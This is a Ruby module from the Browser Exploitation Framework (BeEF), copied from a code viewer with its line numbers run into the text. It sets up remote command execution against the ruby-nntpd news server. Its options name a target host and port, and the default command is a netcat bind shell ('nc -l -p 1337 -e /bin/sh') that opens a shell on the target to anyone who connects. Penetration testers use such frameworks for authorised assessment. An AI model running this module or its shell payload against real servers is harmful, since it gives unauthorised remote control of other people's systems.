Path: blob/master/modules/exploits/ruby_nntpd_cmd_exec/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4###5# ruby-nntpd homepage: http://code.google.com/p/ruby-nntpd/6###7class Ruby_nntpd_cmd_exec < BeEF::Core::Command8def self.options9[10{ 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },11{ 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '1119' },12{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },13{ 'name' => 'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute.', 'type' => 'textarea', 'value' => 'nc -l -p 1337 -e /bin/sh',14'width' => '200px' }15]16end1718def post_execute19save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?20save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?21end22end232425